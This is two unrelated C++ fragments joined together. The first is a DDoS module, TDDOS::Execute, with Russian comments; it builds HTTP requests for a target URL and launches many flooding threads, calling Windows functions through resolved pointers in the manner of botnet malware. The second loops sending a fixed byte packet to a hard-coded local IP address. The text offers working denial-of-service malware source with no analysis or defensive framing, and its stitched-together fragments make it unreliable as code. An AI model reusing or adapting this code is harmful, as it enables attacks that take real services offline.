BOOL TDDOS::Execute(bool Wait) { if (URL.IsEmpty() || MaxThreads == 0 || FThreadsCount) return FALSE; FTerminated = false; // Инициализируем запрос FRequest.CloseConnection = true; FRequest.SetURL(URL.t_str()); if (FRequest.Host.IsEmpty()) return FALSE; FRequest.UserAgent = "%s"; FRequest.Referer = "%s"; FSendData = FRequest.MakeRequestHeaders(); // Инициализируем библиотеку сокетов if (!InitializeWSA()) return false; // Получаем адрес по имени хоста FHostAddres = (LPHOSTENT)pgethostbyname(FRequest.Host.t_str()); if ( FHostAddres == NULL ) return false; // Запускаем потоки for (DWORD i = 0; i < MaxThreads; i++) { if (StartThread(DDOSThreadProc, this)) pInterlockedIncrement(&FThreadsCount); } BOOL Result = FThreadsCount; if (Wait) while (1) pSleep(100); return Result; }
int main() { if(!InitializeWSA()) return 0; SystemSocket *activeSocket = new SystemSocket(true, "192.168.1.2", 8130); if(!activeSocket->Initialize()) { delete activeSocket; return 0; } int counter = 0; while(true) { byte buff[10] = { 10, 0x00, 0x00, 0x00, 0x4E, 0x06, 0xFF, 0xFF, 0xFF, 0xFF }; activeSocket->AppendData((char*)buff, 10); if(int error = activeSocket->Update()) { if(error == -1) { printf("Main socket disconnected, exitting.\n"); break; } else if(error == 1) printf("Reconnection failed\n"); } if((++counter)%20==0) activeSocket->Disconnect(); Sleep(2000); } Sleep(5000); delete activeSocket; printf("Deleted\n"); Sleep(5000000); return 0; }